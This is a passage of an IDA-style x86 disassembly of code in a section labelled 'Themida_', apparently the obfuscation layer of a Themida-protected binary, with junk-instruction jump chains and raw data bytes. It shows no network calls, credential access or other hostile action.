		dd 0BB530794h, 0FFFFFFFFh, 0C15BDE01h, 0D6F707EEh, 0B518BA52h
		dd 11E9FB36h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ED0B:				; CODE XREF: Themida_:00574A4Bj
		pop	edx
		jmp	loc_560B6F
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 5Dh
		dd 0F6FFFFD0h, 5E2C0DAh, 6EB05066h, 8B66C220h, 0C4832404h
		dd 0F0E28002h, 0FED7B151h, 0F0C180C9h, 28B6F180h, 25E959CAh
		dd 8BFFFFF1h, 76E92424h, 5AFFFFE4h, 4C281h, 3CE90000h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56ED53:				; CODE XREF: Themida_:00563718j
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_56EE5F
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 94h
		dd 451FDD1Ah, 0ECBED81h, 0CD811DBBh, 27021036h,	2D29B951h
		dd 0CD313C68h, 0FF9B76E9h, 0EC8156FFh, 4, 0BB241C89h, 296D7EB0h
		dd 14F38143h, 89332540h, 0F7565BDEh, 348B2414h,	4C48124h
		dd 81000000h, 0B9057CCEh, 7AEE812Dh, 81EDBFC5h,	6F7547C2h
		dd 81F2011Eh, 6F7547EAh, 2434FF1Eh, 4C4815Eh, 0E9000000h
		dd 0FFFFB26Eh, 0CD10D4BBh, 81DBF777h, 217E9BF3h, 37E95143h
		dd 66FFFFC2h, 59BAE981h, 0A8E98166h, 0F9296634h, 0A8C18166h
		dd 0C1816634h, 3C8B59BAh, 223EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EE02:				; CODE XREF: Themida_:0056033Aj
		mov	[esp], ebx
		push	esi
		mov	esi, 1E445232h
		mov	ebx, esi
		pop	esi
		shr	ebx, 7
		push	ebp
		jmp	loc_56363F
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4ACBC781h, 5D571BA4h, 6E5C15Fh, 67E95045h, 87000029h
		dd 55C243Ch, 616D370Eh,	0E2DD829h, 57616D37h, 373768h
		dd 8731E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EE46:				; CODE XREF: Themida_:00574A6Fj
		shl	ecx, 3
		jmp	loc_569010
; ---------------------------------------------------------------------------


loc_56EE4E:				; CODE XREF: Themida_:00571E8Cj
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56731E
; ---------------------------------------------------------------------------


loc_56EE5F:				; CODE XREF: Themida_:0056ED5Cj
		mov	edx, 73AB218Eh
		jmp	loc_56CDBD
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0D6010000h, 4C6815Ah, 87000000h, 285C2434h, 6F6866C3h
		dd 0C896656h, 50BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56EE8A:				; CODE XREF: Themida_:0056C839j
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
		db 31h
		dd 251AE9C5h, 2C89FFFFh, 5E95424h
		db 8Ah,	2 dup(0FFh)
byte_56EE9F	db 68h			; DATA XREF: Themida_:0055FE08o
		dd 3382h, 0BD242C89h, 2B5A6F22h, 41E95350h, 81FFFFDEh
		dd 2C4h, 0E9A1E900h, 7D05FFFFh,	52783159h, 0C87268BAh
		dd 376BE952h, 0E9010000h, 68242C8Bh, 0EB7h, 89243489h
		dd 14F068E6h, 84E90000h, 1FFFFCCh, 8104244Ch, 85042444h
		dd 596D251Ah, 6824048Fh, 2F53h,	0FF5A04E9h, 242489FFh
		dd 4240481h, 5F000000h,	7638BD55h, 7E945B6h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EF17:				; CODE XREF: Themida_:0056572Fj
		sub	ebp, 0D9861ADh
		jmp	loc_563CE1
; ---------------------------------------------------------------------------
word_56EF22	dw 248Bh		; DATA XREF: Themida_:0055FF10o
		dd 1075E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EF2A:				; CODE XREF: Themida_:00569361j
		mov	edx, 0
		sub	edx, 679C747Ch
		jmp	loc_5601BF
; ---------------------------------------------------------------------------


loc_56EF3A:				; CODE XREF: Themida_:0056A877j
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		push	20C7h
		mov	[esp], ebx
		push	5CACh
		mov	[esp], ecx
		push	eax
		mov	ah, dl
		jmp	loc_5671FF
; ---------------------------------------------------------------------------
		db 29h,	0F5h, 5Eh
		dd 31242C33h, 2C33242Ch, 24248B24h, 0BD242C89h,	4, 20E9EA29h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EF77:				; CODE XREF: Themida_:00573EDFj
		xor	edx, ebx
		pop	ebx
		sub	edx, 4747672Eh
		mov	esi, edx
		pop	edx
		jmp	loc_574088
; ---------------------------------------------------------------------------
		dd 56241C89h, 0B5160BBEh, 5EF38978h, 4D30F381h,	0EB8114F3h
		dd 0FDFE58D2h, 0FD9BC381h, 836891B7h, 0E9000011h, 0FFFF2A96h
		dd 0AB5663BAh, 0DC97E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EFBA:				; CODE XREF: Themida_:00569E05j
		sub	bl, 70h
		push	dx
		mov	dl, 8Ch
		add	bl, dl
		pop	dx
		jmp	loc_570E67
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 32ACE924h, 0EC83FFFFh, 24248904h, 0FFEF88E9h, 31D531FFh
		dd 418E9EAh, 0F75D0000h, 0C14A42D2h, 0C28104E2h, 602D6F75h
		dd 0FF793CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EFF9:				; CODE XREF: Themida_:00574944j
		add	ebx, edi
		xor	ecx, [ebx]
		pop	ebx
		push	edx
		push	ebp
		push	6BA333D1h
		pop	ebp
		sub	ebp, 2B146DC0h
		xor	ebp, 393B63DFh
		jmp	loc_567D17
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0CC977E4h, 55AD089h,	1E47DD1Ah, 0FFAE65E9h
		db 0FFh
byte_56F029	db 66h,	31h, 2Ch	; DATA XREF: Themida_:0055FF18o
		dd 2C336624h, 2C316624h, 66556624h, 66692B68h, 66241C89h
		dd 665B665Dh, 66445668h, 0E9241C89h, 0FFFF27D6h, 3D20BE56h
		dd 0D6F7703Eh, 9EC68146h, 811EAC73h, 992F53CEh,	85C68164h
		dd 291100C0h, 1C875EF3h, 0CB84E924h, 0ACBBFFFFh, 0E95E6776h
		dd 0FFFF9F03h, 0CCE814Eh, 0E936AF75h, 0FFFF13E3h, 57243489h
		dd 0B1319BBFh, 0B850533Bh, 73731516h, 0C3E9C389h, 8100004Dh
		dd 0CBE5A1C1h, 8BC1310Ch, 0C4832404h, 59CF2904h, 0FF274DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F0B9:				; CODE XREF: Themida_:0056750Bj
		push	ecx
		pop	ebx
		pop	ecx
		dec	ebx
		sub	ebx, 499B3488h
		xor	ebx, 4A1015CCh
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4B62424Ch
		mov	ebp, 7829B116h
		jmp	loc_56FD40
; ---------------------------------------------------------------------------


loc_56F0E2:				; CODE XREF: Themida_:0056BB0Cj
		mov	dh, cl
		mov	bh, dh
		jmp	loc_5609AC
; ---------------------------------------------------------------------------
		align 4
		dd 665966E8h, 8324148Bh, 0EC8302C4h, 242C8904h,	0C581E589h
		dd 4, 0E904EC83h, 0FFFF1ED3h, 685Ch, 34FF0000h,	241C8B24h
		dd 0C0E1E957h, 1C87FFFFh, 14895C24h, 53E28924h,	4BBh, 6717E900h
		dd 0E95CFFFFh, 0FFFF5C0Dh, 104C483h, 0F9E95FFBh, 68FFFFBEh
		dd 7B4B7CD1h, 0E334E959h, 3487FFFFh, 5A81E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56F156:				; CODE XREF: Themida_:00567879j
		push	dword ptr [esp]
		pop	ecx
		push	11E1h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	ecx
		add	ecx, 4
		push	76F7h
		jmp	loc_5608DA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 9DE92424h, 89FFFFEEh, 59BF243Ch, 2909CD09h, 1A685FFAh
		dd 0E900005Ch, 37Ch, 0FF0DF6E9h, 5EF301FFh, 1640E9h
		db 0
; ---------------------------------------------------------------------------


loc_56F1B1:				; CODE XREF: Themida_:00571A27j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	4000h
		pop	edi
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	eax
		jmp	loc_565734
; ---------------------------------------------------------------------------


loc_56F1CF:				; CODE XREF: Themida_:0057222Bj
		sub	eax, edi
		sub	eax, 7AEA6268h
		jmp	loc_575031
; ---------------------------------------------------------------------------
		db 55h
		dd 0FF3BE5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F1E1:				; CODE XREF: Themida_:005708BCj
		mov	edi, [esp]
		jmp	loc_5749FD
; ---------------------------------------------------------------------------
		db 1, 0D1h, 0E9h
		dd 0FFFF53B0h, 3D46BD55h, 4FE9760Bh, 66FFFF7Dh,	0DC80E95Ah
		dd 148BFFFFh, 5A545224h, 4C281h, 0C2830000h, 24148704h
		dd 0B850565Ch, 2CC13FBAh, 0F706E0C1h, 3DC62DD8h, 60E9729Dh
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F22B:				; CODE XREF: Themida_:0056DAADj
		push	esp
		jmp	loc_569DD2
; ---------------------------------------------------------------------------


loc_56F231:				; CODE XREF: Themida_:00560FACj
		not	dword ptr [esp]
		jmp	loc_569FB0
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 0E9000000h, 0FFFFDD4Ch, 79E9F588h, 100000Ah,	0D0295FF8h
		dd 0F805012Dh, 0EDE95A1Dh, 1FFFF91h, 50535EF5h,	0FFF258E9h
		dd 24248BFFh, 4B12E9h
		db 0
; ---------------------------------------------------------------------------


loc_56F26D:				; CODE XREF: Themida_:00573D5Bj
		add	ebx, ebp
		add	ebx, 499E6BF9h
		add	ebx, 1D4275CDh
		add	ebx, 502F1CDEh
		jmp	loc_568808
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 4EC8124h, 0E9000000h, 0FFFFC512h, 1C8BF830h,	0E597E924h
		dd 4481FFFFh, 345C0824h, 0E9596D49h, 0FFFF0FEAh, 0C480E730h
		dd 81D4F6FFh, 2ECh, 14896600h, 38A96824h, 0C890000h, 88E58824h
		dd 505259EEh, 0C288F888h, 5AD48858h, 81F18851h,	4ECh, 24148900h
		dd 8851CA88h, 2CA8E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56F2EA:				; CODE XREF: Themida_:0056E47Aj
		push	edx
		jmp	loc_573D30
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 0CF58100h, 0E9582000h, 0FFFF427Fh
		dd 8B2434FFh, 0C481240Ch, 4, 0E9E28952h, 0FFFFCDC4h, 7BF7814Fh
		dd 8101732Ch, 0D34262F7h, 5FFD0159h, 74FF555Fh,	1E90424h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F333:				; CODE XREF: Themida_:00560051j
		add	eax, 0B9C1BC92h
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		jmp	loc_5749EE
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF0C57h, 6624248Bh, 9C242CD3h, 0FF0C4AE9h, 5AD601FFh
		dd 8B243487h, 64682424h, 89000028h, 1768241Ch, 8900006Ah
		dd 12B9240Ch, 4965577Fh, 0FFA56EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F379:				; CODE XREF: Themida_:00571245j
		pop	edx
		jmp	loc_568A5E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 685EF709h, 10B4h, 0BB241C89h, 539B409Ch, 0FF93EBE9h
		dd 0D4B1FFh, 6375E9CBh,	0F581FFFFh, 6341375Eh, 20E58145h
		dd 0F73D9948h, 73FAE9DDh
		db 2 dup(0FFh)
word_56F3B2	dw 8B66h		; DATA XREF: Themida_:0055FEB0o
		dd 70E9240Ch, 88000029h, 0F58851E6h, 5A59EB88h,	582434FFh
		dd 8B04C483h, 0B268240Ch, 8900005Ah, 5A542414h,	4C281h
		dd 0C2810000h, 4, 0E9241487h, 51E3h
; ---------------------------------------------------------------------------


loc_56F3EC:				; CODE XREF: Themida_:0056B537j
		push	edi
		mov	edi, 43492386h
		and	ecx, edi
		jmp	loc_574716
; ---------------------------------------------------------------------------
		db 0E9h, 0A1h, 0Bh
		dd 0D5F7FFFFh, 4EC81h, 5CE90000h, 81FFFF8Bh, 0EE2C51E5h
		dd 275AE90Ah, 0E089FFFFh, 405h,	4C08300h, 31240433h, 4332404h
		dd 0A685C24h, 8900005Bh, 0F7BF243Ch, 813D225Ah,	0F45FBCE7h
		dd 9C78159h, 0E9116033h, 0FFFFE113h, 5658C331h,	5E4AEFBEh
		dd 0E857E953h, 1C89FFFFh, 5E8BBB24h, 44811872h,	6EF60424h
		dd 5C01247Ah, 6C810424h, 6EF60424h, 815B247Ah, 74ED2404h
		dd 0DC6820CDh, 89000046h, 0E9BE2434h, 0E948EF75h, 0FFFF5440h
; ---------------------------------------------------------------------------


loc_56F48C:				; CODE XREF: Themida_:00571149j
		pop	eax
		add	esi, edx
		mov	edx, [esp]
		push	eax
		jmp	loc_56FB1B
; ---------------------------------------------------------------------------
		dd 4BDh, 5DEF0100h, 8B243C87h, 89502424h, 405E0h, 77E90000h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F4B3:				; CODE XREF: Themida_:00563B70j
		mov	edi, [esp]
		jmp	loc_56F837
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4EC81h, 14890000h, 4BA24h, 0D0010000h, 8324148Bh, 7DE904C4h
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F4D7:				; CODE XREF: Themida_:005605F0j
		add	edx, edi
		jmp	loc_567510
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0E9515824h, 0FFFF25F0h
; ---------------------------------------------------------------------------


loc_56F4E8:				; CODE XREF: Themida_:0056B9D9j
		mov	ebx, 4
		jmp	loc_575350
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 69682404h, 0FF135101h, 34FF2434h, 26E95824h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F507:				; CODE XREF: Themida_:00571239j
		shl	eax, 5
		jmp	loc_56DB7E
; ---------------------------------------------------------------------------


loc_56F50F:				; CODE XREF: Themida_:0056C1B4j
		sub	ebp, 40300041h
		pop	esi
		push	7F0h
		jmp	loc_56A647
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFD705h, 4C0835Dh, 8904EC83h,	74FF2404h
		dd 48B0424h, 4C48324h, 8B24048Fh, 0C4812424h, 4, 1A84E9h
		dd 40E95F00h, 88000034h, 2D9FE9C8h, 0C801FFFFh,	194F7905h
		dd 5C84E904h, 895C0000h, 4832424h, 0B9E90424h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F573:				; CODE XREF: Themida_:00563226j
		or	ebp, 248A0E40h
		add	ebp, 0F7DAEC4Ch
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, ecx
		mov	ecx, [esp]
		jmp	loc_56D6ED
; ---------------------------------------------------------------------------


loc_56F591:				; CODE XREF: Themida_:0056B71Aj
		xor	ecx, 0A9F8BD1Eh
		jmp	loc_5639A2
; ---------------------------------------------------------------------------
		dd 0E1A15BAh, 0A012E96Ch, 34FFFFFFh, 4383E924h,	48FFFFFh
		dd 2E685C24h, 8900002Ch, 0EC81241Ch, 4,	68242C89h, 31DEh
		dd 68241C89h, 7F0D5BEEh, 0D3E3815Bh, 5165D627h,	0FF45C0E9h
		dd 242C31FFh, 8B242C33h, 34FF2424h, 24048B24h, 6804C483h
		dd 1B8h, 89240C89h, 0CE953E1h, 81FFFFE8h, 4C1h,	4C18100h
		dd 87000000h, 248B240Ch, 4EC8124h, 89000000h, 0D1E92404h
		db 27h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F61F:				; CODE XREF: Themida_:005710DCj
		mov	ebp, 0C12CE63Ah
		jmp	loc_56EC3F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF2389E9h, 40558FFh, 83000000h, 0FF5004C0h,	58042474h
		dd 5C24048Fh, 0FF0956E9h, 4C642DFFh, 15B7892h, 7B372DF8h
		dd 16E91AB5h, 52FFFFD1h, 0A6CC3BAh, 81DAF728h, 866E65CAh
		dd 81D2F738h, 0F7FF82C2h, 5AD629FFh, 2474FF56h,	48F5E04h
		dd 0C895C24h, 2474FF24h, 48F5904h, 0D7F65C24h, 32243C30h
		dd 3C30243Ch, 905E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F69A:				; CODE XREF: Themida_:005706B0j
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	edi, eax
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_56521C
; ---------------------------------------------------------------------------


loc_56F6B2:				; CODE XREF: Themida_:0056450Dj
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_565FCB
; ---------------------------------------------------------------------------
		dd 504C483h, 4,	4C20E9h, 66D83000h, 3E13E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F6D6:				; CODE XREF: Themida_:00562718j
		sub	ebp, eax
		add	ebp, 43E275E8h
		pop	eax
		shl	ebp, 2
		push	edx
		push	78185B51h
		pop	edx
		shl	edx, 8
		neg	edx
		sub	edx, 79F0B81h
		shl	edx, 1
		push	esi
		mov	esi, 63030173h
		sub	esi, 556B1525h
		inc	esi
		jmp	loc_566BA5
; ---------------------------------------------------------------------------
		dd 6F3F2725h, 3C44E91Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F712:				; CODE XREF: Themida_:00570C3Dj
		push	esi
		jmp	loc_56E6D3
; ---------------------------------------------------------------------------
		dd 2C5815Ch, 33000000h,	2C31242Ch, 242C3324h, 0B30F665Ch
		dd 0E99C2404h, 0FFFF086Bh, 0DF055D5Ah, 10BBB79h, 0A2B951C8h
		dd 81029F43h, 243A7DF1h, 59C82909h, 8B2434FFh, 0C483240Ch
		dd 4C48104h, 52000000h,	0FF7EFDE9h, 0E9C141FFh,	3E9C105h
		dd 0FF3FD7E9h, 0CDE952FFh
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56F773:				; CODE XREF: Themida_:0056EC22j
		mov	eax, 23356285h
		and	eax, 1E9027B9h
		jmp	loc_5738F4
; ---------------------------------------------------------------------------
word_56F782	dw 34FFh		; DATA XREF: Themida_:0055FD0Co
		dd 2434FF24h, 0E92434FFh, 0FFFF9232h
; ---------------------------------------------------------------------------


loc_56F790:				; CODE XREF: Themida_:00566CA7j
		mov	[esp], eax
		mov	eax, 32144BDh
		add	eax, 53F178DDh
		sub	eax, 29FD0553h
		shr	eax, 8
		dec	eax
		jmp	loc_568F6A
; ---------------------------------------------------------------------------
		db 0FFh
a4S		db '4$é,',0Dh,0
		dw 2900h
		dd 496705C8h, 52592BDBh, 0F031C2BAh, 43E2816Ah,	0E9187E35h
		dd 0FFFF60A9h, 0E9243489h, 0FFFFAAF7h, 0C245DB0h, 0E8C0712Ch
		dd 34323402h, 58C7884Eh, 2454F653h, 0EFC05B01h,	10F9E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F7F2:				; CODE XREF: Themida_:00570F88j
		push	esi
		push	19C82140h
		pop	esi
		jmp	loc_563388
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0B549E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F806:				; CODE XREF: Themida_:00564E31j
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_560562
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 6C72BD55h, 31E94881h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F823:				; CODE XREF: Themida_:0056AF0Fj
		push	7AB4h
		mov	[esp], edx
		mov	edx, 49986FD6h
		mov	ebx, edx
		jmp	loc_56A223
; ---------------------------------------------------------------------------


loc_56F837:				; CODE XREF: Themida_:0056F4B6j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	edi, 4
		jmp	loc_56739E
; ---------------------------------------------------------------------------


loc_56F851:				; CODE XREF: Themida_:0056DDC0j
		not	ecx
		jmp	loc_574FBC
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF1096h, 0F6F08659h, 81F086D6h, 4ECh
		dd 240C8900h, 0E9C38853h, 0FFFFBE2Dh, 3E7F42BFh, 9F7EE908h
		dd 0C483FFFFh, 74FF5704h, 3C8B0424h, 2DE95024h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F893:				; CODE XREF: Themida_:00566F98j
		pop	eax
		push	4B64h
		mov	[esp], ebx
		mov	ebx, 262826CAh
		not	ebx
		shl	ebx, 3
		jmp	loc_574F1E
; ---------------------------------------------------------------------------
		db 33h
		dd 2C31242Ch, 242C3324h, 0E924248Bh, 0FFFFC96Dh
; ---------------------------------------------------------------------------


loc_56F8BC:				; CODE XREF: Themida_:00563ADAj
		sub	ebx, 262772EAh
		add	ebx, eax
		jmp	loc_5736C7
; ---------------------------------------------------------------------------


loc_56F8C9:				; CODE XREF: Themida_:00561DEBj
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_57000B
; ---------------------------------------------------------------------------


loc_56F8D3:				; CODE XREF: Themida_:005690D0j
		push	edi
		jmp	loc_57301E
; ---------------------------------------------------------------------------


loc_56F8D9:				; CODE XREF: Themida_:00572CBFj
		add	ebx, edi
		jmp	loc_570D80
; ---------------------------------------------------------------------------
		dd 2A04C181h, 0EF812223h, 47204D44h, 0C781CF01h, 47204D44h
		dd 4C78359h, 31243C33h,	17E9243Ch
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F903:				; CODE XREF: Themida_:00571B08j
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		db 0C3h
byte_56F90D	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055FCBCo
aHG		db '$h=g',0
		align 2
		dw 1489h
		dd 0AF02E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F91E:				; CODE XREF: Themida_:00564959j
		mov	edi, 4
		jmp	loc_561E44
; ---------------------------------------------------------------------------


loc_56F928:				; CODE XREF: Themida_:0056BD99j
		shl	ebx, 6
		sub	ebx, 0F0950A44h
		sub	esi, ebx
		pop	ebx
		push	edi
		mov	edi, 2D4E773Eh
		jmp	loc_561D50
; ---------------------------------------------------------------------------


loc_56F93F:				; CODE XREF: Themida_:0056BA51j
		add	edi, 3B7B7B97h
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	eax
		push	edi
		sub	esp, 4
		jmp	loc_56D973
; ---------------------------------------------------------------------------
		dd 3304EF83h, 3C31243Ch, 243C3324h, 241C895Ch, 0FC0204BBh
		dd 0B3DBE905h, 0BA52FFFFh, 57AC6889h, 814AD2F7h, 896A5CEAh
		dd 0EEA8109h, 0F76AD966h, 0BAEA81D2h, 89A5F5BCh, 0E9315AD1h
		dd 0FF63A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F9A9:				; CODE XREF: Themida_:00560408j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------


loc_56F9B5:				; CODE XREF: Themida_:0056A0F0j
		not	edi
		sub	edi, 0FFFFD7D3h
		add	esi, edi
		jmp	loc_56394B
; ---------------------------------------------------------------------------
		dd 6850FB01h, 376552A4h, 3DCBE9h
		db 0
; ---------------------------------------------------------------------------


loc_56F9D1:				; CODE XREF: Themida_:005633FDj
		add	edi, ecx
		sub	edi, 5B97AE9h
		pop	ecx
		sub	edi, 1
		sub	edi, 1
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		shr	edi, 3
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4D16729Eh
		shr	eax, 5
		push	ebp
		mov	ebp, 0C42129Dh
		xor	eax, ebp
		jmp	loc_56690B
; ---------------------------------------------------------------------------
		db 83h
		dd 43302C0h, 24043124h,	21C3E9h
		db 0
; ---------------------------------------------------------------------------


loc_56FA15:				; CODE XREF: Themida_:0055FFA2j
		push	ebx
		mov	bl, 1Dh
		sub	bl, 4
		shl	bl, 6
		jmp	loc_56E63B
; ---------------------------------------------------------------------------
		db 89h
		dd 0B95158C3h, 59C40C67h, 16EEF181h, 0C9817ADCh, 72EE77B9h
		dd 0C383D987h, 0E9D987FFh, 2621h
dword_56FA44	dd 240C8B66h, 74EA68h, 240C8900h, 0E8685954h, 0E9000051h
					; DATA XREF: Themida_:0055FF28o
		dd 0FFFFC830h, 4C681h, 34330000h, 24343124h, 8B243433h
		dd 89562424h, 21B6E9E6h, 0C330FFFFh, 0C9CE9h, 4C18100h
		dd 81000000h, 4E9h, 240C8700h, 2414895Ch, 2B850h, 0C2890000h
		dd 0E924048Bh, 0FFFF3B72h, 80FCCC80h, 0E128F1F4h, 67BDE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FAAE:				; CODE XREF: Themida_:00568547j
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_561DDC
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 4EC81h, 24890000h, 0F7BD5524h, 4D5A683Ah, 0FF1B21E9h
		dd 6CE1BEFFh, 0CBE935F3h, 89000024h, 0C85CE9E0h, 8953FFFFh
		dd 5BDD89D3h, 59CD295Ah, 8904EC83h, 9AE92414h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FAF7:				; CODE XREF: Themida_:00568031j
		push	esi
		jmp	loc_568C62
; ---------------------------------------------------------------------------


loc_56FAFD:				; CODE XREF: Themida_:00560132j
		add	ecx, 1A65219Ch
		pop	ebx
		sub	esp, 4
		jmp	loc_564A49
; ---------------------------------------------------------------------------
		dd 41A0EA81h, 34FF05A6h, 3E95D24h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FB1B:				; CODE XREF: Themida_:0056F493j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	edx, 2189308Ch
		jmp	loc_5640D6
; ---------------------------------------------------------------------------


loc_56FB34:				; CODE XREF: Themida_:00563861j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_569AB3
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF0457h, 54240C89h, 352E9h
		db 0
; ---------------------------------------------------------------------------


loc_56FB51:				; CODE XREF: Themida_:005669ECj
		pop	esi
		add	edx, edi
		jmp	loc_5609A1
; ---------------------------------------------------------------------------


loc_56FB59:				; CODE XREF: Themida_:00570C28j
		add	edi, ebp
		jmp	loc_567152
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 0F7C3FB2h, 3FB6F581h, 0EE810F7Ch, 7C0B13F5h
		dd 0DAE9EE01h, 5DFFFFA8h, 815DE831h, 0AF1E19EDh, 0A0A5E94Ch
		dd 0BD55FFFFh, 78EB7961h, 0FF62A3E9h, 4C483FFh,	0C159CE31h
		dd 0E6C106EEh, 0C4B85004h, 1E4CF74h, 0F78958C6h, 0E92434FFh
		dd 0FFFFEAD7h
; ---------------------------------------------------------------------------


loc_56FBB4:				; CODE XREF: Themida_:0056969Cj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 2DEBF8C6h
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	edi
		mov	edi, 4F381B7Dh
		sub	[esp+4], edi
		pop	edi
		pop	edx
		jmp	loc_5617D4
; ---------------------------------------------------------------------------
		db 1
		dd 7AC681CEh, 8173B928h, 574708C6h, 240C8B7Bh, 1F53E955h
		dd 0BE56FFFFh, 0CA05124h, 435DE681h, 0DEF7775Dh, 8AC2C681h
		dd 0F3897F8Dh, 4F03E95Eh, 0C5810000h, 4, 6E8AB850h, 0D8F70D04h
		dd 8904EC83h, 7ABE2434h, 0F742D027h, 2B0CE9DEh,	0CE81FFFFh
		dd 4E8075C1h, 8039C681h, 0F001300Ch, 4C0835Eh, 2474FF50h
		dd 24048B04h, 0FF12D6E9h, 4C483FFh, 4BE56h, 0F0010000h
		dd 0E92434FFh, 36BDh, 0B9240C89h, 4, 75B2EF81h,	68E90254h
		dd 0FFFFFFE1h, 525D2434h, 0C281E289h, 4, 0FFEED2E9h, 4C781FFh
		dd 0E9000000h, 0FFFF33AFh
; ---------------------------------------------------------------------------


loc_56FCA0:				; CODE XREF: Themida_:005687A6j
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_565F16
; ---------------------------------------------------------------------------
		db 1
		dd 24348BF7h, 0FFFBCDE9h, 53B850FFh, 8948C057h,	0E95358C2h
